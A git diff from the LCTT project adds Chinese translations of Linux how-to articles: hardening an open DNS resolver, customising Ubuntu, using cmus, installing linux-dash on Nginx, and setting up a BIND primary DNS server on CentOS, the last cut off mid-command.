+当然3.12因为测试不足,其中存在错误不可避免。若用户要求稳定性(或者希望保持系统工作时的高度统一和完整),可以继续支持已通过测试的GNOME 3.10版本。 + +### 从GNOME 3.12 降至3.10版本 ### + +但是如果想要体验闪闪亮的新功能及最新发布的GNOME应用,那就试一试PPA平台吧。如果遇到了错误可以随时使用PPA清理工具来降级至稳定版本。 + + sudo apt-get install ppa-purge + + sudo ppa-purge ppa:gnome3-team/gnome3-staging + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/05/upgrade-gnome-3-12-ubuntu-14-04 + +译者:[icybreaker](https://github.com/icybreaker) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:apt:gnome-shell +[2]:https://launchpad.net/~gnome3-team/+archive/gnome3-staging?field.series_filter=trusty +[3]:http://www.omgubuntu.co.uk/2014/03/top-12-features-gnome-3-12 diff --git a/published/201405/How to close an open DNS resolver.md b/published/201405/How to close an open DNS resolver.md new file mode 100644 index 0000000000..d5e6c5f3e4 --- /dev/null +++ b/published/201405/How to close an open DNS resolver.md @@ -0,0 +1,76 @@ +如何关闭一个开放的DNS解析器 +================================================================================ +我们在[之前的教程中][1]创建的DNS服务器是一个开放DNS解析器。开放解析器不会过滤任何来源请求,并会接受来自所有IP的查询、 + +不幸的是,开放解析器很容易成为一个攻击目标。比如,攻击者可以对开放DNS服务器发起一个拒绝服务攻击(DoS)或者更糟的分布式拒绝服务攻击(DDoS)。这些也可与IP欺骗结合,将应答包指向受害者被欺骗的IP地址。在另外的场合下称作[DNS放大攻击][2],开放的DNS服务器很容易就会成为攻击的对象。 + +根据[openresolverproject.org][3],除非有必要,运行一个开放解析器是不明智的。大多数公司要让它们的DNS服务器仅对他们的客户开放。本篇教程会只要集中于如何配置一个DNS服务器来使它停止开放解析且仅对有效的客户响应。 + +### 调整防火墙 ### + +由于DNS运行在UDP的53端口上,系统管理可能试图仅允许来自53端口的客户端IP地址,并阻止剩余的因特网端口。虽然这可以工作,但是也会有一些问题。既然根服务器与DNS服务器的通信也用53端口,我们不得不在防火墙内也确保UDP 53端口被允许。 + +一个防火墙示例如下所示。对于生产服务器,确保你的规则匹配你的要求并遵守与公司安全制度。 + + # vim firewall-script + +---------- + + ## existing rules are flushed to start with a new set of rules ## + iptables -F + + iptables -A INPUT -s A.A.A.A/X -p udp --dport 53 -j ACCEPT + iptables -A INPUT -s B.B.B.B/Y -p udp --dport 53 -j ACCEPT + iptables -A INPUT -s C.C.C.C/Z -p udp --dport 53 -j ACCEPT + + iptables -A INPUT -p udp --dport 53 -j DROP + + ## making the rules persistent ## + service iptables save + +让脚本可执行并运行它。 + + # chmod +x firewall-script + # ./firewall-script + +### 阻止递归查询 ### + +DNS查询主要可以[分为][4]递归查询和迭代查询。对于递归查询,服务器会响应客户端应答或者错误信息。如果应答不在服务器的缓存中,服务器会与根服务器通信并获得授权域名服务器。服务器会不停查询知道获得结果,或者请求超时。对于迭代查询,另一个方面讲,服务器会将客户端指向另外一个可能可以处理的服务器上,那么就会减少服务器自身的处理。 + +我们可以控制运行递归查询的IP地址。我们修改位于/etc/named.conf的配置文件并增加/修改下面的参数。 + + # vim /etc/named.conf + +---------- + + ## we define ACLs to specify the source address/es ## + acl customer-a{ A.A.A.A/X; }; + acl customer-b { B.B.B.B/Y; C.C.C.C/Z; }; + + ## we call the ACLs under options directive ## + options { + directory "/var/named"; + allow-recursion { customer-a; customer-b; }; + }; + +### 调整用于开放解析器的防火墙 ### + +如果你必须运行一个开放解析器,建议你适当调节一下你的服务器,这样就不会被利用了。[smurfmonitor 仓库][5]提供了强大的一组可以用于开放解析器的iptables规则,比如阻止来自DNS放大攻击的域名解析请求。这个仓库会定期地更新,强烈建议DNS服务器管理员使用它。 + +总的来说,对于开放DNS解析器的攻击是很常见的,特别是对于没有适当安全防护的DNS服务器而言。这个教程延时了如何禁止一个开放DNS服务器。我们同样看到了如何使用iptables在一个开放DNS服务器上加上一层安全防护。 + +希望这对你有用。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/04/close-open-dns-resolver.html + +译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/2014/04/primary-dns-server-using-centos.html +[2]:https://www.us-cert.gov/ncas/alerts/TA13-088A +[3]:http://openresolverproject.org/ +[4]:http://technet.microsoft.com/en-us/library/cc961401.aspx +[5]:https://github.com/smurfmonitor/dns-iptables-rules diff --git a/published/201405/How to customize your Ubuntu desktop in 6 steps.md b/published/201405/How to customize your Ubuntu desktop in 6 steps.md new file mode 100644 index 0000000000..0748a7d0bb --- /dev/null +++ b/published/201405/How to customize your Ubuntu desktop in 6 steps.md @@ -0,0 +1,95 @@ +教你6步定制你的Ubuntu桌面 +================================================================================ +![](http://www.muktware.com/wp-content/uploads/2014/05/ubuntu-customize-1.jpg) +对于那些想要一个易于使用的界面的用户,Ubuntu是一个很好的Linux发行版,并且对于一个Linux新手也可以说是最好的Linux发行版。不过这产生了一些副作用,那就是,对于界面和外观,Canonical公司已经为用户做了很多设定,尤其是Unity桌面环境。 + +然而这些不是一成不变的。下面是一些关于怎样让你更加舒心地使用Ubuntu的技巧。看过上面的截图中我对Ubuntu的设定,你可以看到我的的Unity桌面,相比于默认设定的桌面有何不同。 + +下面让我们分步来实现定制Ubuntu桌面。 + +### 1. 安装Unity Tweak Tool ### + +在你能对Ubuntu外观做任何有效地修改之前,你不得不安装[Unity Tweak Tool][1]。这是一个Unity桌面环境下特殊设置管理软件,并且通过它你可以实现替换系统图标和主题。你可以从Ubuntu软件中心下载该软件,如果你更加偏爱terminal终端的话,你也可以使用下面的命令: + + sudo apt-get install unity-tweak-tool + +如果你正在使用Gnome桌面环境,那么你可能需要尝试Gnome Tweak Tool这款软件。你也可以从Ubuntu软件中心和使用以下命令来安装该软件: + + sudo apt-get install gnome-tweak-tool + +### 2. 安装GTK主题 ### + +对于Ubuntu有很多定制的主题,这些主题可以影响应用和窗口的外观。我正在使用的主题是Numix GTK+。你可以在[http://numixproject.org/][2]找到关于Numix主题和图标的更多信息。你可以通过打开终端并输入以下命令来安装Numix主题: + + sudo add-apt-repository ppa:numix/ppa + sudo apt-get update && sudo apt-get install numix-gtk-theme + +为了使该主题生效,我们需要打开Unity Tweak Tool,选择“外观标题”下的“主题”选项,然后在“已有主题”一栏中选择该主题。只要相应的软件仓库名字一致,对于其他主题,你可以重复该过程来应用。你可以访问[Gnome-Look.org][3]获得更多的主题。另一个和Numix主题很相似的主题是Moka,你可以在[http://mokaproject.com/][4]获得更多关于Moka主题的信息。 + +### 3. 安装图标 ### + +以上截图中使用的图标是来自Numix主题的Numix圆形图标。你可以通过在终端输入以下命令来安装该图标集: + + sudo apt-add-repository ppa:numix/ppa + sudo apt-get update + sudo apt-get install numix-icon-theme-circle + +为了使该图标集生效,我们需要在Unity Tweak Tool中选择“图标”选项,然后选择该图标集。再一次声明,这个方法对于任何图标集是可行的。Moka也提供给你的桌面带来多彩的、一致性设计的图标集。 + +### 4. 安装conky系统监视软件 ### + +Conky是一个轻量级桌面系统监视软件。该软件本身是非常简单的,不过它是可定制的,这样一来它就可以显示很多的有用的信息。你可以通过在终端输入以下命令来安装Conky: + + sudo apt-get install conky conky-all + +你将会需要curl这个软件,你可以通过以下这个命令来安装该软件: + + sudo apt-get install curl + +上面截图中使用的conky主题是[Harmattan][5],它可以以15种不同的样式来显示时间、天气、以及系统进程。要安装该主题,你可以从[deviantART][6]下载zip文件,然后解压。将.conky-weather文件夹和位于主题文件夹的.conkyrc文件(你可能需要按Ctrl+H来显示这些隐藏文件)移动到你的home文件夹。Conky有[很多的主题][7]。尝试这些主题,你所需要做的就是用所要使用主题的.conkyrc文件替换在home文件夹的.conkyrc文件。 + +### 5. 安装一些指示器程序 ### + +有很多第三方的指示器程序,通过这些程序你可以监视你的桌面信息,例如天气、系统性能等。我所使用的指示器程序相当简单。因为天气和系统性能已经在conky中显示,所以我没有安装这些指示器。不过你可以在终端输入以下命令来安装他们: + + sudo apt-get install indicator-weather + sudo apt-get install indicator-multiload + +我所使用的两个指示器程序是大小写指示程序以及触摸板控制器,这是因为我的笔记本没有大小写指示灯和控制触摸板开关的热键。你可以通过以下命令来安装这两个软件: + + sudo add-apt-repository ppa:tsbarnes/indicator-keylock + sudo add-apt-repository ppa:atareao/atareao + sudo apt-get update + sudo apt-get install indicator-keylock + sudo apt-get install touchpad-indicator + +你可能需要注销并重新登录来使用这些应用。 + +### 6. 通过Compiz设置管理器深度定制你的桌面 ### + +如果对于你来说Unity Tweak Tool不够强大,那么你可以尝试[Compiz设置管理器][8]. + +**警告:** + +如果错误的设置被应用的话,Compiz设置管理器可能会损害到你的系统。所以使用时要格外小心。你可以看到Ubuntu系统中隐藏的各种设置。你可以在Ubuntu软件中心获取该软件或者终端输入以下命令来安装: + + sudo apt-get install compiz compizconfig-settings-manager compiz-fusion-plugins-extra compiz-fusion-plugins-main compiz-plugins + +现在你的Ubuntu桌面变得具有超棒了!所有的这些步骤都有成千上万种选择,所以折腾是无极限的。还在等什么?还不赶紧去享受你的新Ubuntu桌面! + +-------------------------------------------------------------------------------- + +via: http://www.muktware.com/2014/05/customize-ubuntu-desktop-6-steps/26750 + +译者:[JonathanKang](https://github.com/JonathanKang) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://apps.ubuntu.com/cat/applications/unity-tweak-tool/ +[2]:http://numixproject.org/ +[3]:http://gnome-look.org/?xcontentmode=100 +[4]:http://mokaproject.com/ +[5]:http://zagortenay333.deviantart.com/art/Conky-Harmattan-426662366 +[6]:http://www.deviantart.com/art/Conky-Harmattan-426662366 +[7]:http://www.deviantart.com/?qh=§ion=&global=1&q=conky +[8]:https://apps.ubuntu.com/cat/applications/compizconfig-settings-manager/ diff --git a/published/201405/How to manage your music library from the command line on Linux.md b/published/201405/How to manage your music library from the command line on Linux.md new file mode 100644 index 0000000000..46420d54c8 --- /dev/null +++ b/published/201405/How to manage your music library from the command line on Linux.md @@ -0,0 +1,157 @@ +在Linux下用命令行中玩转音乐库 +================================================================================ +linux下的命令行可能是对于新手而言最恐怖的经历了。我记得花费若干小时来尝试搞明白终端爆出的错误信息。当然,这是完全值得的!如果现在让我只能挑一个让新手学习学习命令行的原因,那可能就是用命令行来整个管理音乐库。在这个事情上,我喜欢用的软件叫做[cmus][1],是"C* MUsic Player"(C音乐播放器)的简写,它完全由C写成。 + +cmus是一个内置了音频播放器的强大的音乐文件管理器。用它的基于ncurses的命令行界面,你可以浏览你的音乐库,并从播放列表或队列中播放音乐,这一切都是在命令行下。 + +### Linux上安装cmus ### + +首先,你需要按照如下建议设置并安装cmus。 + +在Ubuntu, Debian 或者Linux Mint中: + + $ sudo apt-get install cmus + +在Fedora上,首先[启用RPM Fusion仓库][2],接着运行: + + $ sudo yum install cmus + +在CentOS上,首先[启用Repoforge仓库][3],接着运行: + + $ sudo yum install cmus + +在Archlinux上: + + $ sudo pacman -S cmus + +安装完之后,在命令行下如下输入就可运行cums: + + $ cmus + +### 导入音乐文件到 cmus ### + +第一件要做的事情是导入你的音乐文件到你的库中。这个过程可以看出两个事情:快捷方式受到了vim的命令模式的启发;还有cmus运行的很快。我已经在20秒之内成功地导入了超过1000首歌!而在iTunes或者其他任何图形音乐库软件下试一下导入,我想你会有足够的时间来做一份花生酱三明治 :>。 + +要在cmus下面导入音乐,输入下面的像vim一样的命令。 + + :a /path/to/your/music/folder + +在我的Xubuntu上,我这么做: + + :a /home/adrien/Music/ + +接下来这个目录下所有的音乐文件会立马按照艺术家或者专辑的方式排列显示。 + +![](https://farm6.staticflickr.com/5522/14021555743_b3c545702e_z.jpg) + +### 快速入门 ### + +在开始前,你可能希望记住一些基本快捷方式来开始播放你的音乐。这是cmus的唯一缺点。除非你改变它们,否则默认的快捷方式并不直观,并且你不得不学习它们。简而言之: + +- **x** 播放或重播音乐 +- **c** 暂停 +- **b** 播放下一首音乐 +- **z** 播放前一首音乐 +- **s** 激活随机播放 + +记住之后,我们就准备开始了! + +### 基本使用 ### + +cmus的界面由7个界面组成,你可以按下适当的数字键来访问。比如,启动页面是一个树形界面,你随时可以通过按下“1”来访问。这个界面可以很直观地来使用:通过上下键来导航位于左侧面板的艺术家,按下空格就可以看到特定艺术家的专辑,使用tab键来切换到右侧面板来选择某个歌曲,最后按下回车键来播放音乐。 + +![](https://farm8.staticflickr.com/7174/13998349312_74c4586d17_z.jpg) + +如你所见,底部显示了艺术家的名字,专辑,和正在播放歌曲的标题,还有时间和音量。 + +第二个界面与第一个刚才显示的类似,显示了按照艺术家排列的歌曲列表。 + +![](https://farm8.staticflickr.com/7080/13998371701_be03208c2f_z.jpg) + +然而,第三个界面更有用些,它显示了目前的播放列表。要在树形视图或者列表视图下增加一首歌曲,只要在选中的歌曲上输入'y'。当你创建了一个完美的歌单之后,用如下的命令行保存下来。 + + :save /path/to/playlist + +用下面命令加载: + + :load /path/to/playlist + +![](https://farm8.staticflickr.com/7385/13978441446_2c10f35507_z.jpg) + +第四个界面显示的是队列。队列与播放列表的一点不同是,一旦歌曲是按队列播放的,播放结束后就会被移出队列。要把一首歌加入队列,就像把它加到播放列表一样,但是使用快捷方式:"e" + +![](https://farm8.staticflickr.com/7201/14001984094_58719269c3_z.jpg) + +第五个界面也同样很有用,它是一个轻量级的文件浏览器。当你在你的电脑中查找一首歌曲而不必加入到库中的时候很有用。导航方式也非常标准:用向上或者向下键,回车键用来进入文件夹或者选中一个文件。 + +![](https://farm6.staticflickr.com/5217/14001984224_785aac0ddb_z.jpg) + +第六界面是一个库过滤器,用来动态创建播放列表。如它听上去的那样,过滤器会遍历你的库,并且只显示符合相关规则定义的音乐。之后我会描述如何定义你自己的过滤器,但是cmus已经自带了一些。要试一下,只要使用: + + :filter [name of the filter] + +比如: + + :filter classical + +除了带有"Classical"标签的音乐,它会隐藏你库中所有的其它音乐。 + +![](https://farm8.staticflickr.com/7245/14001543625_a508ec9304_z.jpg) + +最后但同样重要的,第七个界面是设置。在这里,你可以定义你的快捷方式和命令。我会在下一部分给你一些例子。 + +![](https://farm6.staticflickr.com/5079/13998371761_df1f9b7fae_z.jpg) + +### 高级用法 ### + +正如承诺那样,你现在已经更加熟悉界面了,我会给你一些小技巧来增强你的体验。 + +要在界面中搜索任何东西,只要如vim那样使用相同的快捷方式 + + /[keyword] + +还有: + + n + +来搜索下一处关键字。 + +要创建一个你的过滤器,使用语法: + + :fset [name of the new filter]=[expression] + +比如,你可以找到所有的旧式摇滚音乐: + + :fset oldies=genre="Rock"&date<1970 + +要了解更多关于你可以使用的表达式,我建议你仔细阅读文档和已有的过滤器。 + +要重新播放所有的音乐(不过滤),使用如下命令: + + :set replaygain=1 + +要改变快捷键到不同的键上,进入设置界面并找出现有的绑定表达式。举个例子来说,我想要将播放快捷方式从"x"改到"w",我会翻到下面的行: + + common x player-play + +接着按下回车,并改成下面的表达式 + + :bind -f common w player-play + +总的来说,我真的喜欢cmus。它还有许多本篇中没有提到的技巧,因此在你准备好后,应该认真要读一下[man帮助手册][5]。简而言之,cmus是一款快速的,易于学习,不会乱动你的文件的好软件。如果你喜欢从命令行下管理音乐库的想法,但是还没有成为cmus的忠实粉丝,我建议你可以先试一下一些替代品,如MOC和PyTone,它们同样也很棒。 + +你认为cmus怎么样?你喜欢它么,或者作为图形界面的替代品?让我在评论区知道你们的想法。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/04/manage-music-library-command-line-linux.html + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://cmus.github.io/ +[2]:http://xmodulo.com/2013/06/how-to-install-rpm-fusion-on-fedora.html +[3]:http://xmodulo.com/2013/01/how-to-set-up-rpmforge-repoforge-repository-on-centos.html +[4]:http://xmodulo.com/go/mp3 +[5]:https://github.com/cmus/cmus/blob/master/Doc/cmus.txt diff --git a/published/201405/How to monitor a Linux server and desktop remotely from web browser.md b/published/201405/How to monitor a Linux server and desktop remotely from web browser.md new file mode 100644 index 0000000000..39f7477cb5 --- /dev/null +++ b/published/201405/How to monitor a Linux server and desktop remotely from web browser.md @@ -0,0 +1,170 @@ +如何从Web浏览器远程监视Linux服务器和桌面 +================================================================================ +当你要监视一台Linux机器时,你会有很多的选择。虽然现在有很多产品质量监控方案(比如 Nagios、 Zabbix、 Zenoss),它们拥有华丽的UI,可扩展监控,易于理解的报告等等,这些方案对于大多数终端用户都太过于强大了。如果你只需检查Linux服务器或桌面的基本状态(比如,CPU负载、内存使用、活跃进程),就请考虑一下[linux-dash][1]。 + +linux-dash是一款面向Linux机器的基于web的轻量级监控面板,可以实时显示不同的系统属性,比如CPU负载、内存使用、磁盘使用、网络速度、网络连接、上下行带宽、登录用户、运行中的进程等等。linux-dash没有后端数据库库来存储长期统计。在任何已有的web服务器(如Apache、Nginx)上运行linux-dash,你就可以用了。这是一个快速又简单的方法来对个人项目进行远程监控。 + +在这篇教程中,我会描述**如何在Linux的Nginx web服务器上设置linux-dash**。这里用Nginx,而不是Apache,是因为它更轻量。 + +### 在Debian、Ubuntu或者Linux Mint上设置linux-dash ### + +首先,安装带php-fpm的Nginx web服务器。 + + $ sudo apt-get install git nginx php5-json php5-fpm php5-curl + +为linux-dash创建如下Nginx配置文件/etc/nginx/conf.d/linuxdash.conf。 本例中,我们使用8080端口。 + + $ sudo vi /etc/nginx/conf.d/linuxdash.conf + +---------- + + server { + server_name $domain_name; + listen 8080; + root /var/www; + index index.html index.php; + access_log /var/log/nginx/access.log; + error_log /var/log/nginx/error.log; + + location ~* \.(?:xml|ogg|mp3|mp4|ogv|svg|svgz|eot|otf|woff|ttf|css|js|jpg|jpeg|gif|png|ico)$ { + try_files $uri =404; + expires max; + access_log off; + add_header Pragma public; + add_header Cache-Control "public, must-revalidate, proxy-revalidate"; + } + + location /linux-dash { + index index.html index.php; + } + + # PHP-FPM via sockets + location ~ \.php(/|$) { + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + fastcgi_split_path_info ^(.+?\.php)(/.*)$; + fastcgi_pass unix:/var/run/php5-fpm.sock; + if (!-f $document_root$fastcgi_script_name) { + return 404; + } + try_files $uri $uri/ /index.php?$args; + include fastcgi_params; + } + } + +禁止默认站点配置。 + + $ sudo rm /etc/nginx/sites-enabled/default + +编辑`/etc/php5/fpm/pool.d/www.conf`来配置php-fpm。确保按如下编辑"user", "group" 和 "listen"指令。你可以不改变剩下的配置。 + + $ sudo vi /etc/php5/fpm/pool.d/www.conf + + user = www-data + group = www-data + listen = /var/run/php5-fpm.sock + + +开始下载并安装linux-dash。 + + $ git clone https://github.com/afaqurk/linux-dash.git + $ sudo cp -r linux-dash/ /var/www/ + $ sudo chown -R www-data:www-data /var/www + +重启Nginx与php-fpm来完成安装。 + + $ sudo service php5-fpm restart + $ sudo service nginx restart + +### 在CentOS、Fedora、RHEL上设置linux-dash ### + +在CentOS上,需要首先[启用EPEL仓库][2] + +安装Nginx与php-fpm组件。 + + $ sudo yum install git nginx php-common php-fpm + +为linux-dash程序配置Nginx,如下创建/etc/nginx/conf.d/linuxdash.conf + + $ sudo vi /etc/nginx/conf.d/linuxdash.conf + +---------- + + server { + server_name $domain_name; + listen 8080; + root /var/www; + index index.html index.php; + access_log /var/log/nginx/access.log; + error_log /var/log/nginx/error.log; + + location ~* \.(?:xml|ogg|mp3|mp4|ogv|svg|svgz|eot|otf|woff|ttf|css|js|jpg|jpeg|gif|png|ico)$ { + try_files $uri =404; + expires max; + access_log off; + add_header Pragma public; + add_header Cache-Control "public, must-revalidate, proxy-revalidate"; + } + + location /linux-dash { + index index.html index.php; + } + + # PHP-FPM via sockets + location ~ \.php(/|$) { + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + fastcgi_split_path_info ^(.+?\.php)(/.*)$; + fastcgi_pass unix:/var/run/php-fpm.sock; + if (!-f $document_root$fastcgi_script_name) { + return 404; + } + try_files $uri $uri/ /index.php?$args; + include fastcgi_params; + } + } + +接下来,编辑`/etc/php-fpm.d/www.conf`来配置php-fpm。在这个文件中,确保按如下编辑"user", "group" 和 "listen"字段。你可以不改变剩下的配置。 + + $ sudo vi /etc/php-fpm.d/www.conf + + listen = /var/run/php-fpm.sock + user = nginx + group = nginx + + +在/var/wwwx下载并安装linux-dash。 + + $ git clone https://github.com/afaqurk/linux-dash.git + $ sudo cp -r linux-dash/ /var/www/ + $ sudo chown -R nginx:nginx /var/www + +最后,重启Nginx和php-fpm,并设置开机自启。 + + $ sudo service php-fpm restart + $ sudo service nginx restart + $ sudo chkconfig nginx on + $ sudo chkconfig php-fpm on + +在本例中,我们已经配置linux-dash使用TCP端口8080。所以确保防火墙没有阻止TCP 8080端口。 + +### 用linux-dash监视Linux机器 ### + +要在web浏览器上访问linux-dash,只需在web浏览器中输入http://\:8080/linux-dash/ + +下面是linux-dash的截图。web面板包含了几个小部件,每个都会显示特性的系统参数。你可以通过重安排并且/或者关闭一些小部件来自定义web面板的外观。[这里][3]是一个linux-dash创建者的演示站点。 + +![](https://farm8.staticflickr.com/7268/13799855404_249533c250_z.jpg) + +![](https://farm8.staticflickr.com/7066/13799535593_4b40f2c529_z.jpg) + +![](https://farm8.staticflickr.com/7091/13799524135_10c9a86b68_z.jpg) +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/04/monitor-linux-server-desktop-remotely-web-browser.html + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://github.com/afaqurk/linux-dash +[2]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html +[3]:http://afaq.dreamhosters.com/linux-dash/ diff --git a/published/201405/How to set up a primary DNS server using CentOS.md b/published/201405/How to set up a primary DNS server using CentOS.md new file mode 100644 index 0000000000..be22bb8916 --- /dev/null +++ b/published/201405/How to set up a primary DNS server using CentOS.md @@ -0,0 +1,353 @@ +CentOS上配置主DNS服务器的简易指南 +================================================================================ +任何运作中的域名至少有两台DNS服务器,一台称为主域名服务器(比如叫做ns1),而另一台称为从域名服务器(比如叫做ns2)。这些服务器通常用于故障转移:如果一台宕机,另外一台就激活成为DNS服务器(译注:此处译者有不同意见,事实上两个或更多的DNS服务器是共同工作的,并不是第一台停止服务后,第二台才接替工作。解析器是随机选择一个DNS服务器进行询问,如果超时则会询问下一个,这是多个DNS的故障容错机制)。也可以实现包括负载均衡、防火墙和集群在内的更为复杂的故障转移机制。 + +一个域的所有DNS条目都会被添加到主域名服务器,从服务器只会根据主服务器上的SOA记录的序列号参数从主服务器同步所有信息。 + +此教程将会讲述**如何创建一台在CentOS上运行的主DNS服务器**。请注意,本教程中提到的DNS服务器将会是一台开放DNS服务器,这也就是说该服务器将会回应来自任何IP地址的查询。对于DNS服务器的访问控制将在[此教程][1]中讨论(译注:开放的DNS服务器是一个安全隐患。)。 + +在开始之前,我想要提一下的是,DNS可以在chroot环境中配置,也可以在非chroot环境中配置。chroot环境将DNS服务器限制在系统中某个特定目录中,以避免让服务器具有系统级的访问权限。在此环境中,任何DNS服务器的安全漏洞不会导致整个系统的破坏。将DNS服务器置于chroot环境中,对于部署测试也很有用。 + +### 目标 ### + +我们将在基于域名example.tst的测试环境中配置一台DNS服务器,这个域名是虚假的(并不真实存在的)。这样,我们就不会意外干扰到其它真实的域名。 + +在该域中,有以下三台服务器。 + + + + + + + + + + + + + + + + + + + + + + + + + + +
服务器IP地址托管的服务完全限定域名(FQDN)
Server A172.16.1.1Mailmail.example.tst
Server B172.16.1.2Web, FTPwww.example.tst
ftp.example.tst
Server C172.16.1.3Primary DNS serverns1.example.tst
+ +我们将会配置一台主域名服务器,并添加上表中必要的域和DNS记录。 + +### 设置主机名 ### + +所有的主机名必须以完全限定域名的方式正确定义,可以通过以下方法完成设置。 + + # vim /etc/sysconfig/network + +> HOSTNAME=ns1.example.tst + +注:该文件中指定的主机名参数在服务器启动后才会启用(译注:或者网络服务重启后),因此,该设置不会马上生效。下面的命令可以立刻临时性地修改主机名。 + + # hostname ns1.example.tst + +一旦设置,主机名可以通过以下命令验证。 + + # hostname + +> ns1.example.tst + +在进入下一步之前,请确保上述三台服务器上的主机名已经设置正确。 + +### 安装软件包 ### + +我们将使用bind来配置DNS服务,该软件可以很方便地通过yum来安装。 + +不使用chroot环境的: + + # yum install bind bind-chroot + +使用chroot环境的: + + # yum install bind bind-chroot + +### 准备配置文件 ### + +正如前面提到的,bind可以在chroot环境下配置,或者在非chroot环境下配置,配置文件的路径会因为是否安装chroot包而不同。 + + + + + + + + + + + + + + + + + +
配置文件路径区域文件路径
+不带有 chroot + +/etc/ + +/var/named/ +
+带有 chroot + +/var/named/chroot/etc/ + +/var/named/chroot/var/named/ +
+ +可以使用默认提供的named.conf配置文件,但是为了更方便使用,我们将使用另外一个简单的配置文件模板。 + +非`chroot`环境: + + # cp /usr/share/doc/bind-9.8.2/sample/etc/named.rfc1912.zones /etc/named.conf + +`chroot`环境: + + # cp /usr/share/doc/bind-9.8.2/sample/etc/named.rfc1912.zones /var/named/chroot/etc/named.conf + +现在来备份并修改配置文件。 + +非`chroot`环境: + + # vim /etc/named.conf + +`chroot`环境: + + # vim /var/named/chroot/etc/named.conf + +添加/修改以下行: + + options { + ## 区域文件存放目录 ## + directory "/var/named"; + + ## 对于非本地权威域的请求转发到 Google 的公开 DNS 服务器 ## + forwarders { 8.8.8.8; }; + }; + + ## 申明一个本地域 example.tst ## + zone "example.tst" IN { + type master; + file "example-fz"; ## 存储文件名,放在 /var/named ## + allow-update { none; }; + }; + + ## 为IP段 172.16.1.0 提供反向解析 ## + zone "1.16.172.in-addr.arpa" IN { + type master; + file "rz-172-16-1"; ## 存储文件名,放在 /var/named ## + allow-update { none; }; + }; + +### 准备区域文件 ### + +那些默认的区域文件会自动创建到`/var/named` 或者`/var/named/chroot/var/named` (`chroot`环境)。如果在这些地方找不到这些文件,`/usr/share/doc/bind`目录中提供了模板文件,可以从这里拷贝。 + +假设默认区域文件没有提供,我们可以从`/usr`拷贝模板文件。 + +非`chroot`环境: + + # cp /usr/share/doc/bind-9.8.2/sample/var/named/named.* /var/named/ + +`chroot`环境: + + # cp /usr/share/doc/bind-9.8.2/sample/var/named/named.* /var/named/chroot/var/named + +很好!由于现在默认的区域文件已经准备好,我们可以为example.tst和172.16.1.0网络创建区域文件了,以下要点必须时刻谨记。 + +- 区域文件中的特殊字符‘@’意味着空。(译注:意即代表本域。) +- 所有的完全限定域名必须以点‘.’结束。如:example.tst.如果没有这个点,你会发生问题。(译注:即会被当做当前@所代表的域的子域。) + +#### 1. 转发区域(本地权威域) #### + +转发区域包含了名称到IP地址的映射。对于公开的域,域名托管提供商的DNS服务器存储了转发区域文件。(译注:转发区域即本地的权威域,由这个服务器自身提供权威的解析数据) + +非`chroot`环境: + + # vim /var/named/example-fz + +`chroot`环境: + + # vim /var/named/chroot/var/named/example-fz + +---------- + + $TTL 1D + @ IN SOA ns1.example.tst. sarmed.example.tst. ( + 0 ; serial + 1D ; refresh + 1H ; retry + 1W ; expire + 3H ) ; minimum + IN NS ns1.example.tst. + IN A 172.16.1.3 + mail IN A 172.16.1.1 + IN MX 10 mail.example.tst. + www IN A 172.16.1.2 + ns1 IN A 172.16.1.3 + ftp IN CNAME www.example.tst. + +**说明**:在区域文件中,SOA是开始授权(Start Of Authority)的意思。它的值的第一段是授权名称服务器的完全限定域名。完全限定域名后面跟着的是电子邮件地址。由于不能在sarmed@example.tst这样的格式中使用‘@’符号(译注:@有特定意义,代表本域。),我们将电子邮件地址重写成sarmed.example.tst.这样的格式。 + +以下是典型的常用DNS记录类型: + +- **NS**:域名服务器 +- **A**: 地址记录,记录主机名到IP地址的映射(译注,此处原文有误。) +- **MX**: 邮件交换记录。这里我们只用了一个邮件交换记录,设置其优先级为10。如果有多个邮件交换记录,我们可以使用多个数值优先级,数字小的优先级最高。例如,MX 0比MX 1优先级更高。 +- **CNAME**: 标准名。如果在一台单一服务器上托管了多个服务,也很可能将多个名称解析到某个单一服务器。CNAME指定了一台服务器可能有的其它名称,并且将它们指向具有实际A记录的名称。 + +#### 2. 反向区域 #### + +反向区域包含了IP地址到名称的映射。这里,我们为172.16.1.0网络创建反向区域。在正式的域中,公共IP区块的拥有者拥有的DNS服务器存储反向区域文件。(某些服务,如邮件服务,要求IP地址具备正确的反向解析才能正常工作。而IP的反向解析,通常是由IP的拥有者如接入商或IDC来负责解析。) + +非`chroot`环境: + + # vim /var/named/rz-172-16-1 + +`chroot`环境: + + # vim /var/named/chroot/var/named/rz-172-16-1 + +---------- + + $TTL 1D + @ IN SOA ns1.example.tst. sarmed.example.tst. ( + 0 ; serial + 1D ; refresh + 1H ; retry + 1W ; expire + 3H ) ; minimum + IN NS ns1.example.tst. + 1 IN PTR mail.example.tst. + 2 IN PTR www.example.tst. + 3 IN PTR ns1.example.tst. + +**说明**:除了下面的参数外,反向区域文件中的大多数参数和转发区域文件中的相同。 + +- PTR: IP反向解析记录,指向一个反向限定域名。 + +### 结束工作 ### + +既然区域文件已经准备好,我们接下来调整它们的权限。 + +非`chroot`环境: + + # chgrp named /var/named/* + +`chroot`环境: + + # chgrp named 